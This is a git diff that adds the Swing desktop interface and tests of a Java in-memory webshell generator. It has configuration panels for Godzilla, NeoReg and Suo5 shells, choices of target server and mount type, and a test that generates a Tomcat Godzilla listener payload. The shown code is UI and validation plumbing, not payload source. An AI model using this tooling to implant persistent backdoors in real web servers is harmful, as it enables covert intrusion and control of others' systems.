|
});
|
||||||
|
fileButton.addActionListener(this::chooseFile);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void chooseFile(ActionEvent event) {
|
||||||
|
JFileChooser chooser = new JFileChooser();
|
||||||
|
int result = chooser.showOpenDialog(this);
|
||||||
|
if (result != JFileChooser.APPROVE_OPTION) return;
|
||||||
|
File file = chooser.getSelectedFile();
|
||||||
|
try {
|
||||||
|
byte[] bytes = Files.readAllBytes(file.toPath());
|
||||||
|
String base64 = Base64.getEncoder().encodeToString(bytes);
|
||||||
|
controller.setShellClassBase64(base64);
|
||||||
|
fileLabel.setText(file.getName());
|
||||||
|
String className = parser.parseClassName(bytes);
|
||||||
|
controller.setShellClassName(className);
|
||||||
|
refreshAll.run();
|
||||||
|
} catch (Exception ex) {
|
||||||
|
SwingUiUtil.showError(this, "读取自定义类失败: " + ex.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void parseAndFillClassName(ActionEvent ignored) {
|
||||||
|
try {
|
||||||
|
String base64 = controller.getState().getShellClassBase64();
|
||||||
|
if (base64 == null || base64.trim().isEmpty()) return;
|
||||||
|
String className = parser.parseClassNameFromBase64(base64);
|
||||||
|
controller.setShellClassName(className);
|
||||||
|
refreshAll.run();
|
||||||
|
} catch (Exception ignoredEx) {
|
||||||
|
// ignore parse errors while typing/pasting
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override public void refreshFromController() {
|
||||||
|
MemShellFormState s = controller.getState();
|
||||||
|
applyCommonState(s);
|
||||||
|
updating = true;
|
||||||
|
boolean layoutVisibilityChanged = false;
|
||||||
|
try {
|
||||||
|
base64Mode.setSelected("base64".equalsIgnoreCase(s.getCustomInputMode()));
|
||||||
|
fileMode.setSelected("file".equalsIgnoreCase(s.getCustomInputMode()));
|
||||||
|
boolean nextBase64Visible = base64Mode.isSelected();
|
||||||
|
boolean nextFileVisible = fileMode.isSelected();
|
||||||
|
if (base64Panel.isVisible() != nextBase64Visible) {
|
||||||
|
layoutVisibilityChanged = true;
|
||||||
|
}
|
||||||
|
if (filePanel.isVisible() != nextFileVisible) {
|
||||||
|
layoutVisibilityChanged = true;
|
||||||
|
}
|
||||||
|
base64Panel.setVisible(nextBase64Visible);
|
||||||
|
filePanel.setVisible(nextFileVisible);
|
||||||
|
base64Area.setText(s.getShellClassBase64());
|
||||||
|
} finally { updating = false; }
|
||||||
|
if (layoutVisibilityChanged) {
|
||||||
|
revalidate();
|
||||||
|
repaint();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+40
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
import net.miginfocom.swing.MigLayout;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
public class GodzillaToolPanel extends AbstractToolPanel {
|
||||||
|
private final JTextField passField = new JTextField();
|
||||||
|
private final JTextField keyField = new JTextField();
|
||||||
|
private final JTextField headerNameField = new JTextField();
|
||||||
|
private final JTextField headerValueField = new JTextField();
|
||||||
|
|
||||||
|
public GodzillaToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||||
|
super(controller, refreshAll);
|
||||||
|
add(labeled("密码(可选)", passField), "growx");
|
||||||
|
add(labeled("密钥(可选)", keyField), "growx, wrap");
|
||||||
|
add(labeled("请求头名", headerNameField), "growx");
|
||||||
|
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
|
||||||
|
addRandomClassSection();
|
||||||
|
bindText(passField, controller::setGodzillaPass);
|
||||||
|
bindText(keyField, controller::setGodzillaKey);
|
||||||
|
bindText(headerNameField, controller::setHeaderName);
|
||||||
|
bindText(headerValueField, controller::setHeaderValue);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void refreshFromController() {
|
||||||
|
MemShellFormState s = controller.getState();
|
||||||
|
applyCommonState(s);
|
||||||
|
updating = true;
|
||||||
|
try {
|
||||||
|
passField.setText(s.getGodzillaPass());
|
||||||
|
keyField.setText(s.getGodzillaKey());
|
||||||
|
headerNameField.setText(s.getHeaderName());
|
||||||
|
headerValueField.setText(s.getHeaderValue());
|
||||||
|
} finally { updating = false; }
|
||||||
|
}
|
||||||
|
}
|
||||||
+30
@@ -0,0 +1,30 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
public class NeoRegToolPanel extends AbstractToolPanel {
|
||||||
|
private final JTextField headerNameField = new JTextField();
|
||||||
|
private final JTextField headerValueField = new JTextField();
|
||||||
|
|
||||||
|
public NeoRegToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||||
|
super(controller, refreshAll);
|
||||||
|
add(labeled("请求头名", headerNameField), "growx");
|
||||||
|
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
|
||||||
|
addRandomClassSection();
|
||||||
|
bindText(headerNameField, controller::setHeaderName);
|
||||||
|
bindText(headerValueField, controller::setHeaderValue);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override public void refreshFromController() {
|
||||||
|
MemShellFormState s = controller.getState();
|
||||||
|
applyCommonState(s);
|
||||||
|
updating = true;
|
||||||
|
try {
|
||||||
|
headerNameField.setText(s.getHeaderName());
|
||||||
|
headerValueField.setText(s.getHeaderValue());
|
||||||
|
} finally { updating = false; }
|
||||||
|
}
|
||||||
|
}
|
||||||
+42
@@ -0,0 +1,42 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
public class ProxyToolPanel extends AbstractToolPanel {
|
||||||
|
private final JPanel headerPanel = new JPanel(new net.miginfocom.swing.MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
|
||||||
|
private final JTextField headerNameField = new JTextField();
|
||||||
|
private final JTextField headerValueField = new JTextField();
|
||||||
|
|
||||||
|
public ProxyToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||||
|
super(controller, refreshAll);
|
||||||
|
headerPanel.add(labeled("请求头名", headerNameField), "growx");
|
||||||
|
headerPanel.add(labeled("请求头值(可选)", headerValueField), "growx");
|
||||||
|
add(headerPanel, "span 2, growx, wrap, hidemode 3");
|
||||||
|
addRandomClassSection();
|
||||||
|
bindText(headerNameField, controller::setHeaderName);
|
||||||
|
bindText(headerValueField, controller::setHeaderValue);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override public void refreshFromController() {
|
||||||
|
MemShellFormState s = controller.getState();
|
||||||
|
applyCommonState(s);
|
||||||
|
updating = true;
|
||||||
|
boolean layoutVisibilityChanged = false;
|
||||||
|
try {
|
||||||
|
boolean nextHeaderVisible = controller.isProxyHeaderVisible();
|
||||||
|
if (headerPanel.isVisible() != nextHeaderVisible) {
|
||||||
|
layoutVisibilityChanged = true;
|
||||||
|
}
|
||||||
|
headerPanel.setVisible(nextHeaderVisible);
|
||||||
|
headerNameField.setText(s.getHeaderName());
|
||||||
|
headerValueField.setText(s.getHeaderValue());
|
||||||
|
} finally { updating = false; }
|
||||||
|
if (layoutVisibilityChanged) {
|
||||||
|
revalidate();
|
||||||
|
repaint();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+5
@@ -0,0 +1,5 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||||
|
|
||||||
|
public interface RefreshableToolPanel {
|
||||||
|
void refreshFromController();
|
||||||
|
}
|
||||||
+30
@@ -0,0 +1,30 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
public class Suo5ToolPanel extends AbstractToolPanel {
|
||||||
|
private final JTextField headerNameField = new JTextField();
|
||||||
|
private final JTextField headerValueField = new JTextField();
|
||||||
|
|
||||||
|
public Suo5ToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||||
|
super(controller, refreshAll);
|
||||||
|
add(labeled("请求头名", headerNameField), "growx");
|
||||||
|
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
|
||||||
|
addRandomClassSection();
|
||||||
|
bindText(headerNameField, controller::setHeaderName);
|
||||||
|
bindText(headerValueField, controller::setHeaderValue);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override public void refreshFromController() {
|
||||||
|
MemShellFormState s = controller.getState();
|
||||||
|
applyCommonState(s);
|
||||||
|
updating = true;
|
||||||
|
try {
|
||||||
|
headerNameField.setText(s.getHeaderName());
|
||||||
|
headerValueField.setText(s.getHeaderValue());
|
||||||
|
} finally { updating = false; }
|
||||||
|
}
|
||||||
|
}
|
||||||
+12
@@ -0,0 +1,12 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.util;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.datatransfer.StringSelection;
|
||||||
|
|
||||||
|
public final class ClipboardUtil {
|
||||||
|
private ClipboardUtil() {}
|
||||||
|
|
||||||
|
public static void copyText(String text) {
|
||||||
|
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(new StringSelection(text == null ? "" : text), null);
|
||||||
|
}
|
||||||
|
}
|
||||||
+50
@@ -0,0 +1,50 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.util;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.filechooser.FileNameExtensionFilter;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
public final class FileSaveUtil {
|
||||||
|
private FileSaveUtil() {}
|
||||||
|
|
||||||
|
public static void saveText(Component parent, String suggestedName, String content) throws IOException {
|
||||||
|
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter("Text", "txt"));
|
||||||
|
if (file == null) return;
|
||||||
|
try (FileOutputStream fos = new FileOutputStream(file)) {
|
||||||
|
fos.write((content == null ? "" : content).getBytes(StandardCharsets.UTF_8));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void saveBase64AsBytes(Component parent, String suggestedName, String base64, String extension) throws IOException {
|
||||||
|
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
|
||||||
|
if (file == null) return;
|
||||||
|
byte[] bytes = Base64.getDecoder().decode(base64 == null ? "" : base64);
|
||||||
|
try (FileOutputStream fos = new FileOutputStream(file)) {
|
||||||
|
fos.write(bytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void saveBytes(Component parent, String suggestedName, byte[] bytes, String extension) throws IOException {
|
||||||
|
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
|
||||||
|
if (file == null) return;
|
||||||
|
try (FileOutputStream fos = new FileOutputStream(file)) {
|
||||||
|
fos.write(bytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static File chooseFile(Component parent, String suggestedName, FileNameExtensionFilter filter) {
|
||||||
|
JFileChooser chooser = new JFileChooser();
|
||||||
|
chooser.setSelectedFile(new File(suggestedName));
|
||||||
|
chooser.setFileFilter(filter);
|
||||||
|
int result = chooser.showSaveDialog(parent);
|
||||||
|
if (result != JFileChooser.APPROVE_OPTION) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return chooser.getSelectedFile();
|
||||||
|
}
|
||||||
|
}
|
||||||
+32
@@ -0,0 +1,32 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.util;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import java.awt.*;
|
||||||
|
|
||||||
|
public final class SwingUiUtil {
|
||||||
|
private SwingUiUtil() {}
|
||||||
|
|
||||||
|
public static JPanel titledPanel(String title, LayoutManager layout) {
|
||||||
|
JPanel panel = new JPanel(layout);
|
||||||
|
panel.setBorder(BorderFactory.createCompoundBorder(
|
||||||
|
BorderFactory.createTitledBorder(title),
|
||||||
|
BorderFactory.createEmptyBorder(6, 6, 6, 6)));
|
||||||
|
return panel;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void showError(Component parent, String message) {
|
||||||
|
JOptionPane.showMessageDialog(parent, message, "错误", JOptionPane.ERROR_MESSAGE);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void showInfo(Component parent, String message) {
|
||||||
|
JOptionPane.showMessageDialog(parent, message, "提示", JOptionPane.INFORMATION_MESSAGE);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void runOnEdt(Runnable runnable) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
runnable.run();
|
||||||
|
} else {
|
||||||
|
SwingUtilities.invokeLater(runnable);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+73
@@ -0,0 +1,73 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.validation;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class MemShellValidator {
|
||||||
|
public static class Result {
|
||||||
|
private final Map<String, String> fieldErrors = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
public boolean isValid() {
|
||||||
|
return fieldErrors.isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Map<String, String> getFieldErrors() {
|
||||||
|
return fieldErrors;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void add(String field, String message) {
|
||||||
|
fieldErrors.put(field, message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String firstMessage() {
|
||||||
|
return fieldErrors.values().stream().findFirst().orElse("");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Result validate(MemShellFormState s) {
|
||||||
|
Result r = new Result();
|
||||||
|
required(r, "server", s.getServer(), "请选择服务类型");
|
||||||
|
required(r, "serverVersion", s.getServerVersion(), "请选择服务版本");
|
||||||
|
required(r, "shellTool", s.getShellTool(), "请选择内存马工具");
|
||||||
|
required(r, "shellType", s.getShellType(), "请选择内存马挂载类型");
|
||||||
|
required(r, "packingMethod", s.getPackingMethod(), "请选择打包方式");
|
||||||
|
|
||||||
|
if (needsUrlPattern(s.getShellType()) && isInvalidUrl(s.getUrlPattern())) {
|
||||||
|
r.add("urlPattern", "请使用具体 URL 路径,不能为 / 或 /*");
|
||||||
|
}
|
||||||
|
if ("Custom".equals(s.getShellTool()) && (s.getShellClassBase64() == null || s.getShellClassBase64().trim().isEmpty())) {
|
||||||
|
r.add("shellClassBase64", "自定义内存马 Class(Base64) 不能为空");
|
||||||
|
}
|
||||||
|
if ("TongWeb".equals(s.getServer()) && "Valve".equals(s.getShellType()) && "Unknown".equals(s.getServerVersion())) {
|
||||||
|
r.add("serverVersion", "TongWeb Valve 模式需要指定服务版本");
|
||||||
|
}
|
||||||
|
if ("Jetty".equals(s.getServer())
|
||||||
|
&& ("Handler".equals(s.getShellType()) || "JakartaHandler".equals(s.getShellType()))
|
||||||
|
&& "Unknown".equals(s.getServerVersion())) {
|
||||||
|
r.add("serverVersion", "Jetty Handler 模式需要指定服务版本");
|
||||||
|
}
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean needsUrlPattern(String shellType) {
|
||||||
|
if (shellType == null || shellType.trim().isEmpty()) return false;
|
||||||
|
if (shellType.startsWith("Agent")) return false;
|
||||||
|
return shellType.endsWith("Servlet") ||
|
||||||
|
shellType.endsWith("ControllerHandler") ||
|
||||||
|
shellType.equals("HandlerMethod") ||
|
||||||
|
shellType.equals("HandlerFunction") ||
|
||||||
|
shellType.endsWith("WebSocket");
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInvalidUrl(String urlPattern) {
|
||||||
|
return urlPattern == null || urlPattern.trim().isEmpty() || "/".equals(urlPattern) || "/*".equals(urlPattern) || !urlPattern.startsWith("/");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void required(Result r, String field, String value, String message) {
|
||||||
|
if (value == null || value.trim().isEmpty()) {
|
||||||
|
r.add(field, message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+51
@@ -0,0 +1,51 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
class MemShellFormControllerTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void shouldAdjustJdkForSpringWebFluxAndResetDependentFields() {
|
||||||
|
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||||
|
controller.setServerVersion("Unknown");
|
||||||
|
controller.setUrlPattern("/abc");
|
||||||
|
|
||||||
|
controller.setServer("SpringWebFlux");
|
||||||
|
|
||||||
|
assertEquals("52", controller.getState().getTargetJdkVersion());
|
||||||
|
assertEquals("", controller.getState().getUrlPattern());
|
||||||
|
assertNotNull(controller.getState().getShellTool());
|
||||||
|
assertFalse(controller.getState().getShellTool().isEmpty());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void shouldFilterAgentPackersForAgentShellType() {
|
||||||
|
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||||
|
controller.setShellType("AgentFilterChain");
|
||||||
|
List<?> filtered = controller.getFilteredPackers();
|
||||||
|
assertFalse(filtered.isEmpty());
|
||||||
|
assertTrue(controller.getFilteredPackers().stream().allMatch(p -> p.getName().startsWith("Agent")));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void shouldToggleRandomClassNameAndRestoreValues() {
|
||||||
|
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||||
|
controller.setRandomClassName(false);
|
||||||
|
controller.setShellClassName("a.b.C");
|
||||||
|
controller.setInjectorClassName("x.y.Z");
|
||||||
|
|
||||||
|
controller.setRandomClassName(true);
|
||||||
|
assertEquals("", controller.getState().getShellClassName());
|
||||||
|
assertEquals("", controller.getState().getInjectorClassName());
|
||||||
|
|
||||||
|
controller.setRandomClassName(false);
|
||||||
|
assertEquals("a.b.C", controller.getState().getShellClassName());
|
||||||
|
assertEquals("x.y.Z", controller.getState().getInjectorClassName());
|
||||||
|
}
|
||||||
|
}
|
||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.service;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
class CustomClassNameParserTest {
|
||||||
|
@Test
|
||||||
|
void shouldParseClassNameFromClassBytesAndBase64() throws Exception {
|
||||||
|
CustomClassNameParser parser = new CustomClassNameParser();
|
||||||
|
byte[] bytes = readOwnClassBytes();
|
||||||
|
String expected = this.getClass().getName();
|
||||||
|
|
||||||
|
assertEquals(expected, parser.parseClassName(bytes));
|
||||||
|
assertEquals(expected, parser.parseClassNameFromBase64(Base64.getEncoder().encodeToString(bytes)));
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] readOwnClassBytes() throws IOException {
|
||||||
|
String resource = "/" + this.getClass().getName().replace('.', '/') + ".class";
|
||||||
|
InputStream in = this.getClass().getResourceAsStream(resource);
|
||||||
|
assertNotNull(in);
|
||||||
|
try (InputStream is = in; ByteArrayOutputStream out = new ByteArrayOutputStream()) {
|
||||||
|
byte[] buf = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = is.read(buf)) != -1) out.write(buf, 0, n);
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+29
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.service;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
class GenerationServiceTest {
|
||||||
|
@Test
|
||||||
|
void shouldGenerateTomcatGodzillaListenerWithBase64Packer() {
|
||||||
|
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||||
|
controller.setServer("Tomcat");
|
||||||
|
controller.setShellTool("Godzilla");
|
||||||
|
controller.setShellType("Listener");
|
||||||
|
controller.setPacker("Base64");
|
||||||
|
|
||||||
|
GenerationService service = new GenerationService();
|
||||||
|
DesktopMemShellGenerateResult result = service.generate(controller.getState().copy());
|
||||||
|
|
||||||
|
assertNotNull(result);
|
||||||
|
assertEquals("Base64", result.getPackMethod());
|
||||||
|
assertNotNull(result.getPackResult());
|
||||||
|
assertFalse(result.getPackResult().isEmpty());
|
||||||
|
assertNotNull(result.getMemShellResult().getShellBytesBase64Str());
|
||||||
|
assertNotNull(result.getMemShellResult().getInjectorBytesBase64Str());
|
||||||
|
}
|
||||||
|
}
|
||||||
+56
@@ -0,0 +1,56 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Assumptions;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import java.awt.*;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
class MemShellGeneratorFrameLayoutTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void shouldUseStackedLayoutWithoutSplitPaneAndKeepGenerateButton() throws Exception {
|
||||||
|
Assumptions.assumeFalse(GraphicsEnvironment.isHeadless(), "Headless environment");
|
||||||
|
|
||||||
|
final MemShellGeneratorFrame[] ref = new MemShellGeneratorFrame[1];
|
||||||
|
SwingUtilities.invokeAndWait(new Runnable() {
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
ref[0] = new MemShellGeneratorFrame();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
final JComponent[] contentRef = new JComponent[1];
|
||||||
|
final JButton[] buttonRef = new JButton[1];
|
||||||
|
final Dimension[] minSizeRef = new Dimension[1];
|
||||||
|
SwingUtilities.invokeAndWait(new Runnable() {
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
contentRef[0] = ref[0].getMainContentPanel();
|
||||||
|
buttonRef[0] = ref[0].getGenerateButton();
|
||||||
|
minSizeRef[0] = ref[0].getMinimumSize();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
assertNotNull(contentRef[0]);
|
||||||
|
assertFalse(contentRef[0] instanceof JSplitPane, "main content should not be a JSplitPane");
|
||||||
|
assertNotNull(buttonRef[0]);
|
||||||
|
assertTrue(buttonRef[0].isEnabled());
|
||||||
|
assertNotNull(minSizeRef[0]);
|
||||||
|
assertTrue(minSizeRef[0].width >= 1180);
|
||||||
|
assertTrue(minSizeRef[0].height >= 900);
|
||||||
|
} finally {
|
||||||
|
SwingUtilities.invokeAndWait(new Runnable() {
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
if (ref[0] != null) {
|
||||||
|
ref[0].dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user